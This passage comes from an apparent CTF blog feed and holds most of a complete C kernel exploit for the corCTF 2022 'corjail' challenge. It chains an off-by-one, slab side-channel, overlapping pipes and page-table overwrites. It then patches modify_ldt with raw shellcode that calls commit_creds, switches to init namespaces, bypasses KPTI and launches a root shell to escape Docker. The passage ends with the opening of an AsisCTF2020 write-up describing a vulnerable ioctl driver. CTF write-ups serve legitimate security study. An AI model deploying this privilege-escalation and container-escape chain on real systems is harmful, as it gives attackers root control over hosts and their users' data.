      pipe_fds[idx][i] = -1;
    }
  }
}

size_t last_idx_in_slab[HEAP_ALLOC_COUNT];
int pipe_cnt = 0;
int make_kmalloc_4k_slab_full(const int slab_cnt) {
  pipe_cnt = 0;
  int add_key_res[HEAP_ALLOC_COUNT];
  size_t times[HEAP_ALLOC_COUNT] = {
      0,
  };
  const char type[] = &amp;#34;keyring&amp;#34;;
  char desc[0x1000];
  memset(desc, &amp;#39;.&amp;#39;, sizeof(desc));
  desc[sizeof(desc) - 1] = 0;

  size_t last = 0;
  memset(last_idx_in_slab, 0, sizeof(last_idx_in_slab));
  size_t running = 0;
  int finded = 0;
  for (int i = 0; i &amp;lt; HEAP_ALLOC_COUNT; ++i) {
    sched_yield();
    int pipe_res = alloc_4k_pipe_at(i);
    const size_t t1 = rdtsc_begin();
    sys_add_key(type, desc, NULL, 0, 0);
    const size_t t2 = rdtsc_end();
    times[i] = t2 - t1;
    if (pipe_res &amp;lt; 0) {
      break;
    }
    ++pipe_cnt;

    if (times[i] &amp;gt; 8000 &amp;amp;&amp;amp; (i == 0 || times[i] - times[i - 1] &amp;gt; 1500)) {
      if (last == 0) {
        last = i;
        last_idx_in_slab[running] = i;
        ++running;
      } else if (i - last == 8) {
        last = i;
        last_idx_in_slab[running] = i;
        ++running;
      } else {
        last = 0;
        running = 0;
      }

      if (running == slab_cnt) {
        for (int j = 0; j &amp;lt; 8 &amp;amp;&amp;amp; (i + j + 1 - last) % 8 != 0; ++j) {
          alloc_4k_pipe_at(i + j + 1);
          ++pipe_cnt;
        }
        finded = 1;
        break;
      }
    }
  }
  return finded ? 0 : -1;
}

size_t victim_pipe_fds[2];
int find_overlapped_pipes() {
  char buf[0x20];
  uint64_t *uint64_buf = (uint64_t *)buf;
  for (size_t i = 0; i &amp;lt; pipe_cnt; ++i) {
    read(pipe_fds[i][0], buf, 0x10);
    int is_ok = (memcmp(buf, &amp;#34;UNIGURI@&amp;#34;, 8) == 0 &amp;amp;&amp;amp;
                 (uint64_buf[1] &amp;gt;&amp;gt; 32) == 0xdeadbeef);
    int is_corrupted = (uint64_buf[1] == 0xdeadbeef00000000 + i);
    if (is_ok &amp;amp;&amp;amp; !is_corrupted) {
      victim_pipe_fds[0] = i;
      victim_pipe_fds[1] = uint64_buf[1] &amp;amp; 0xffffffff;
      return 0;
    }
    if (!is_ok) {
      return -1;
    }
  }

  return -1;
}

int test_overlapped_pipes() {
  char tmp[0x100];
  memset(tmp, 0, sizeof(tmp));
  const char *test_str = &amp;#34;UNIGURI!&amp;#34;;
  const size_t test_str_len = strlen(test_str);
  printf(&amp;#34;    [*] Test msg(len=0x%lx): \&amp;#34;%s\&amp;#34;\n&amp;#34;, test_str_len, test_str);

  write(pipe_fds[victim_pipe_fds[1]][1], tmp, test_str_len);

  strncpy(tmp, test_str, sizeof(tmp));
  printf(&amp;#34;    [*] Write \&amp;#34;%s\&amp;#34; to pipe@%lx\n&amp;#34;, tmp, victim_pipe_fds[0]);
  write(pipe_fds[victim_pipe_fds[0]][1], tmp, test_str_len);

  memset(tmp, 0, sizeof(tmp));
  read(pipe_fds[victim_pipe_fds[1]][0], tmp, test_str_len);
  printf(&amp;#34;    [*] Read \&amp;#34;%s\&amp;#34; from pipe@%lx\n&amp;#34;, tmp, victim_pipe_fds[1]);

  const int successed = !memcmp(test_str, tmp, test_str_len) ? 0 : -1;
  read(pipe_fds[victim_pipe_fds[0]][0], tmp, test_str_len);
  return successed;
}

#define MMAP_SPRAY_COUNT 0x1000UL
#define FILE_SPRAY_COUNT (MMAP_SPRAY_COUNT / 0x10)
void *mmap_addrs[MMAP_SPRAY_COUNT];
#define MMAP_SPRAT_START_ADDR 0xcafe0000UL
#define MMAP_PAGE_SIZE 0x1000UL
#define MMAP_SPRAT_STEP 0x10000UL
#define MMAP_SPRAT_SIZE 0x10000UL
void spray_ptes_target_to_victim_pipe_page() {
  for (int i = 0; i &amp;lt; MMAP_SPRAY_COUNT; ++i) {
    mmap_addrs[i] = mmap((void *)(MMAP_SPRAT_START_ADDR + i * MMAP_SPRAT_STEP),
                         MMAP_SPRAT_SIZE, PROT_READ | PROT_WRITE,
                         MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    if (mmap_addrs[i] == MAP_FAILED) {
      fatal(&amp;#34;mmap&amp;#34;);
    }
  }

  int file_fds[FILE_SPRAY_COUNT];

  sched_yield();
  close_pipe_at(victim_pipe_fds[1]);

  for (int i = 0; i &amp;lt; FILE_SPRAY_COUNT; ++i) {
    file_fds[i] = open(&amp;#34;/&amp;#34;, O_RDONLY);
    if (file_fds[i] &amp;lt; 0) {
      fatal(&amp;#34;open&amp;#34;);
    }
  }

  for (int i = 0; i &amp;lt; FILE_SPRAY_COUNT; ++i) {
    close(file_fds[i]);
  }

  for (int i = 0; i &amp;lt; MMAP_SPRAY_COUNT; ++i) {
    for (int j = 0; j &amp;lt; MMAP_SPRAT_SIZE / MMAP_PAGE_SIZE; ++j) {
      uint64_t *addr = (uint64_t *)(mmap_addrs[i] + MMAP_PAGE_SIZE * j);
      const uint64_t val = ((uint64_t)i &amp;lt;&amp;lt; 32) + j * 0x01010101;
      *addr = val;
    }
  }
}

void *corrupted_mmap_addr = (void *)-1;
void find_corrupted_mmap_addr() {
  if (corrupted_mmap_addr != (void *)-1) {
    return;
  }
  for (int i = 0; i &amp;lt; MMAP_SPRAY_COUNT; ++i) {
    for (int j = 0; j &amp;lt; MMAP_SPRAT_SIZE / MMAP_PAGE_SIZE; ++j) {
      uint64_t *addr = (uint64_t *)(mmap_addrs[i] + MMAP_PAGE_SIZE * j);
      const uint64_t val = ((uint64_t)i &amp;lt;&amp;lt; 32) + j * 0x01010101;
      if (*addr != val) {
        corrupted_mmap_addr = addr;
        return;
      }
    }
  }
}

uint64_t original_ptes[0x1000 / 8];
uint64_t physical_kernel_base;
uint64_t default_pte_for_kernel_code;

void *set_pte(uint64_t new_pte) {
  static uint64_t cur_offset = 0;
  if (cur_offset &amp;gt;= 0x1000 * 512) {
    fatal(&amp;#34;set_pte: too many modifications&amp;#34;);
  }
  write(pipe_fds[victim_pipe_fds[0]][1], &amp;amp;new_pte, 8);
  if (corrupted_mmap_addr == (void *)-1) {
    find_corrupted_mmap_addr();
  }
  void *affected_addr = corrupted_mmap_addr + cur_offset;
  cur_offset += 0x1000;
  return affected_addr;
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}

#define MODIFY_LDT_ADDR 0xffffffff810252f0
#define MODIFY_LDT_OFFSET (MODIFY_LDT_ADDR - KERNEL_BASE_START)
uint64_t *modify_ldt_addr;
uint8_t original_modify_ldt_code[0x1000];
static void get_shell() {
  puts(&amp;#34;[+] Escaping docker is success&amp;#34;);
  puts(&amp;#34;    [*] Restore original modify_ldt code&amp;#34;);
  memcpy(modify_ldt_addr, original_modify_ldt_code,
         sizeof(original_modify_ldt_code) - (MODIFY_LDT_OFFSET &amp;amp; 0xfff));

  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char *argv[] = {&amp;#34;/bin/bash&amp;#34;, NULL};
  char *envp[] = {NULL};
  execve(&amp;#34;/bin/bash&amp;#34;, argv, envp);
}
void patch_modify_ldt() {
  const uint64_t pte_for_modify_ldt =
      default_pte_for_kernel_code + (MODIFY_LDT_OFFSET &amp;amp; ~(0xFFF));
  modify_ldt_addr =
      (uint64_t *)(set_pte(pte_for_modify_ldt) + (MODIFY_LDT_OFFSET &amp;amp; 0xfff));
  /*
   * Below opcodes are from:
   * call get_rip;
   * get_rip:
   *   pop r15;
   *   sub r15, 0x252f0; // &amp;amp;__x64_sys_modify_ldt - kbase == 0x252f0
   *   sub r15, 5; // call get_rip; takes 5 bytes
   *
   *   // call commit_creds(&amp;amp;init_cred);
   *   lea rdi, [r15 + 0x145a960]; // &amp;amp;init_cred - kbase == 0x145a960
   *   lea rax, [r15 + 0xeba40]; // &amp;amp;commit_creds - kbase == 0xeba40
   *   call rax;
   *
   *   // task = find_task_by_vpid(1);
   *   // call switch_task_namespaces(task, &amp;amp;init_nsproxy);
   *   mov rdi, 1;
   *   lea rax, [r15 + 0xe4fc0]; // &amp;amp;find_task_by_vpid - kbase == 0xe4fc0
   *   call rax; // find_task_by_vpid(1)
   *   mov rdi, rax; // task
   *   lea rsi, [r15 + 0x145a720]; // &amp;amp;init_nsproxy - kbase == 0x145a720
   *   lea rax, [r15 + 0xea4e0]; // &amp;amp;switch_task_namespaces - kbase == 0xea4e0
   *   call rax; // switch_task_namespaces(task, &amp;amp;init_nsproxy);
   *
   *   // current = find_task_by_vpid(pid);
   *   // current-&amp;gt;fs = copy_fs_struct(&amp;amp;init_fs);
   *   lea rdi, [r15 + 0x1589740]; // &amp;amp;init_fs - kbase == 0x1589740
   *   lea rax, [r15 + 0x2e7350]; // &amp;amp;copy_fs_struct - kbase == 0x2e7350
   *   call rax; // copy_fs_struct(&amp;amp;init_fs);
   *   mov rbx, rax; // new_fs
   *   mov rdi, 0x1111111111111111; // pid: will be fiexed
   *   lea rax, [r15 + 0xe4fc0]; // &amp;amp;find_task_by_vpid - kbase == 0xe4fc0
   *   call rax; // current = find_task_by_vpid(pid)
   *   mov [rax + 0x6e0], rbx; // current-&amp;gt;fs = new_fs
   *
   *   // bypass kpti
   *   xor rax, rax;
   *   mov [rsp + 0x00], rax;
   *   mov [rsp + 0x08], rax;
   *   mov rax, 0x2222222222222222; // user_ip: will be fixed
   *   mov [rsp + 0x10], rax;
   *   mov rax, 0x3333333333333333; // user_cs: will be fixed
   *   mov [rsp + 0x18], rax;
   *   mov rax, 0x4444444444444444; // user_rflags: will be fixed
   *   mov [rsp + 0x20], rax;
   *   mov rax, 0x5555555555555555; // user_sp: will be fixed
   *   mov [rsp + 0x28], rax;
   *   mov rax, 0x6666666666666666; // user_ss: will be fixed
   *   mov [rsp + 0x30], rax;
   *   lea rax, [r15 + 0xc00f06]; // bypass_kpti - kbase == 0xc00f06
   *   jmp rax; // bypass_kpti
   */
  uint8_t new_modify_ldt_code[] = {
      0xE8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5F, 0x49, 0x81, 0xEF, 0xF0, 0x52,
      0x02, 0x00, 0x49, 0x83, 0xEF, 0x05, 0x49, 0x8D, 0xBF, 0x60, 0xA9, 0x45,
      0x01, 0x49, 0x8D, 0x87, 0x40, 0xBA, 0x0E, 0x00, 0xFF, 0xD0, 0x48, 0xC7,
      0xC7, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8D, 0x87, 0xC0, 0x4F, 0x0E, 0x00,
      0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x49, 0x8D, 0xB7, 0x20, 0xA7, 0x45, 0x01,
      0x49, 0x8D, 0x87, 0xE0, 0xA4, 0x0E, 0x00, 0xFF, 0xD0, 0x49, 0x8D, 0xBF,
      0x40, 0x97, 0x58, 0x01, 0x49, 0x8D, 0x87, 0x50, 0x73, 0x2E, 0x00, 0xFF,
      0xD0, 0x48, 0x89, 0xC3, 0x48, 0xBF, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
      0x11, 0x11, 0x49, 0x8D, 0x87, 0xC0, 0x4F, 0x0E, 0x00, 0xFF, 0xD0, 0x48,
      0x89, 0x98, 0xE0, 0x06, 0x00, 0x00, 0x48, 0x31, 0xC0, 0x48, 0x89, 0x04,
      0x24, 0x48, 0x89, 0x44, 0x24, 0x08, 0x48, 0xB8, 0x22, 0x22, 0x22, 0x22,
      0x22, 0x22, 0x22, 0x22, 0x48, 0x89, 0x44, 0x24, 0x10, 0x48, 0xB8, 0x33,
      0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x48, 0x89, 0x44, 0x24, 0x18,
      0x48, 0xB8, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x48, 0x89,
      0x44, 0x24, 0x20, 0x48, 0xB8, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55,
      0x55, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0xB8, 0x66, 0x66, 0x66, 0x66,
      0x66, 0x66, 0x66, 0x66, 0x48, 0x89, 0x44, 0x24, 0x30, 0x49, 0x8D, 0x87,
      0x06, 0x0F, 0xC0, 0x00, 0xFF, 0xE0};

  uint64_t *ptr;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           &amp;#34;\x11\x11\x11\x11\x11\x11\x11\x11&amp;#34;, 8);
  *ptr = getpid();
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           &amp;#34;\x22\x22\x22\x22\x22\x22\x22\x22&amp;#34;, 8);
  *ptr = (uint64_t)get_shell;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           &amp;#34;\x33\x33\x33\x33\x33\x33\x33\x33&amp;#34;, 8);
  *ptr = user_cs;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           &amp;#34;\x44\x44\x44\x44\x44\x44\x44\x44&amp;#34;, 8);
  *ptr = user_rflags;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           &amp;#34;\x55\x55\x55\x55\x55\x55\x55\x55&amp;#34;, 8);
  *ptr = user_sp;
  ptr = (uint64_t *)memmem(new_modify_ldt_code, sizeof(new_modify_ldt_code),
                           &amp;#34;\x66\x66\x66\x66\x66\x66\x66\x66&amp;#34;, 8);
  *ptr = user_ss;

  memcpy(original_modify_ldt_code, modify_ldt_addr,
         sizeof(original_modify_ldt_code) - (MODIFY_LDT_OFFSET &amp;amp; 0xfff));
  memcpy(modify_ldt_addr, new_modify_ldt_code, sizeof(new_modify_ldt_code));
}

#define SLAB_COUNT 7

int main() {
  pin_to_core(0);
  save_state();
  vuln_fd = open(&amp;#34;/proc_rw/cormon&amp;#34;, O_RDWR);
  if (vuln_fd &amp;lt; 0) {
    fatal(&amp;#34;open&amp;#34;);
  }
  void *tmpbuf = malloc(0x1000);
  uint64_t *uint64_tmpbuf = (uint64_t *)tmpbuf;

FIRST_STEP:
#define RETRY()                                            \
  do {                                                     \
    for (int i = 0; i &amp;lt; pipe_cnt; ++i) {                   \
      close_pipe_at(i);                                    \
    }                                                      \
    sched_yield();                                         \
    puts(&amp;#34;\n[*] Retry from first step after 1 seconds\n&amp;#34;); \
    sleep(1);                                              \
    goto FIRST_STEP;                                       \
  } while (0)

  puts(&amp;#34;[*] Do side-channel for kmalloc-4k slab...&amp;#34;);
  while (make_kmalloc_4k_slab_full(SLAB_COUNT) &amp;lt; 0) {
    puts(&amp;#34;    [*] Retry side-channel for kmalloc-4k slab...&amp;#34;);
    for (int i = 0; i &amp;lt; pipe_cnt; ++i) {
      close_pipe_at(i);
    }
    sched_yield();
  }
  puts(&amp;#34;    [+] Side-channel success&amp;#34;);

  const size_t target_pipe_idx = SLAB_COUNT * 4 + 4;
  puts(&amp;#34;[*] Trigger off-by-one...&amp;#34;);
  sched_yield();
  close_pipe_at(target_pipe_idx);
  off_by_one_in_kmalloc_4k();
  alloc_4k_pipe_at(target_pipe_idx);
  sched_yield();

  puts(&amp;#34;[*] Finding overlapped pipes...&amp;#34;);
  if (find_overlapped_pipes()) {
    puts(&amp;#34;    [-] Overlapping seems false positive&amp;#34;);
    RETRY();
  }
  printf(&amp;#34;    [+] pipe @ %lx and pipe @ %lx are overlapped!\n&amp;#34;,
         victim_pipe_fds[0], victim_pipe_fds[1]);

  puts(&amp;#34;[*] Test overlapped pipes&amp;#34;);
  if (test_overlapped_pipes() &amp;lt; 0) {
    puts(&amp;#34;    [-] Overlapping seems false positive&amp;#34;);
    RETRY();
  }
  puts(&amp;#34;    [+] Overlapping is true&amp;#34;);

  puts(&amp;#34;[*] Set pipe&amp;#39;s offset to 0x1000 for reading PTEs&amp;#34;);
  write(pipe_fds[victim_pipe_fds[0]][1], original_ptes, 0x1000);

  puts(&amp;#34;[*] Spray PTEs...&amp;#34;);
  spray_ptes_target_to_victim_pipe_page();

  puts(&amp;#34;[*] Read PTEs&amp;#34;);
  read(pipe_fds[victim_pipe_fds[0]][0], original_ptes, 0x1000);
  if ((original_ptes[0] &amp;amp; PTE_FLAGS_MASK) != 0x8000000000000867) {
    puts(&amp;#34;    [-] UAF page does not contain PTEs&amp;#34;);
    RETRY();
  }
  printf(&amp;#34;    [+] UAF page contains PTEs (One of them is 0x%016lx)\n&amp;#34;,
         original_ptes[0]);

  puts(&amp;#34;[*] Overwrite PTE to leak physical kernel base&amp;#34;);
  const uint64_t new_pte_for_dmabuf =
      PAGE_DEFAULT_FLAGS | 0x9c000;  // dmabuf..? WTF?!
  uint64_t *dmabuf_addr = (uint64_t *)set_pte(new_pte_for_dmabuf);

  find_corrupted_mmap_addr();
  if (corrupted_mmap_addr == (void *)-1) {
    puts(&amp;#34;    [-] Corrupted mmap addr not found&amp;#34;);
    RETRY();
  }
  printf(&amp;#34;    [+] Corrupted mmap addr: %p\n&amp;#34;, corrupted_mmap_addr);
  physical_kernel_base = (*dmabuf_addr &amp;amp; PTE_PFN_MASK) - 0x2004000ULL;
  printf(&amp;#34;    [+] physical kernel base: 0x%016lx\n&amp;#34;, physical_kernel_base);
  default_pte_for_kernel_code = physical_kernel_base | PAGE_DEFAULT_FLAGS;

  puts(&amp;#34;[*] Escaping docker...&amp;#34;);
  puts(&amp;#34;    [*] Patch modify_ldt&amp;#34;);
  patch_modify_ldt();
  puts(&amp;#34;    [*] Call patched modify_ldt...&amp;#34;);
  syscall(SYS_modify_ldt);
  puts(&amp;#34;    [-] Failed to Escaping docker&amp;#34;);

  get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/Crusaders-of-Rust/corCTF-2022-public-challenge-archive/tree/master/pwn/corjail/task&#34;&gt;https://github.com/Crusaders-of-Rust/corCTF-2022-public-challenge-archive/tree/master/pwn/corjail/task&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/corCTF/2022/pwn/CoRJail&#34;&gt;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/corCTF/2022/pwn/CoRJail&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/isec-tugraz/SLUBStick&#34;&gt;https://github.com/isec-tugraz/SLUBStick&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/Lotuhu/Page-UAF&#34;&gt;https://github.com/Lotuhu/Page-UAF&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://ptr-yudai.hatenablog.com/entry/2023/12/07/221333&#34;&gt;https://ptr-yudai.hatenablog.com/entry/2023/12/07/221333&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>AsisCTF2020Qual shared_house</title>
      <link>/posts/kernel/write-ups/ctf/asisctf2020qual-shared_house/</link>
      <pubDate>Thu, 27 Feb 2025 12:17:57 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/asisctf2020qual-shared_house/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;enviroment&#34;&gt;Enviroment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v4.19.98/source&#34;&gt;&lt;code&gt;4.19.98&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;No SMAP&lt;/li&gt;
&lt;li&gt;No KPTI&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;features&#34;&gt;Features&lt;/h3&gt;
&lt;p&gt;This challenge provide simple device (it has only one function: &lt;code&gt;mod_ioctl&lt;/code&gt;). And the function is like following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; __padding0[&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uint64_6 &lt;span style=&#34;color:#a6e22e&#34;&gt;mod_ioctl&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; file &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;a1, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; cmd, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;__int64&lt;/span&gt; arg) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; req;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;req, arg, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x10LL&lt;/span&gt;)) &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;14LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x80&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;22LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_lock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED002&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED002: delete_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(note);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED001&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED001: alloc_new_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (note) &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(note);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; req.size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#a6e22e&#34;&gt;_kmalloc&lt;/span&gt;(req.size, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x6080C0LL&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note) &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED003&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED003: write_note
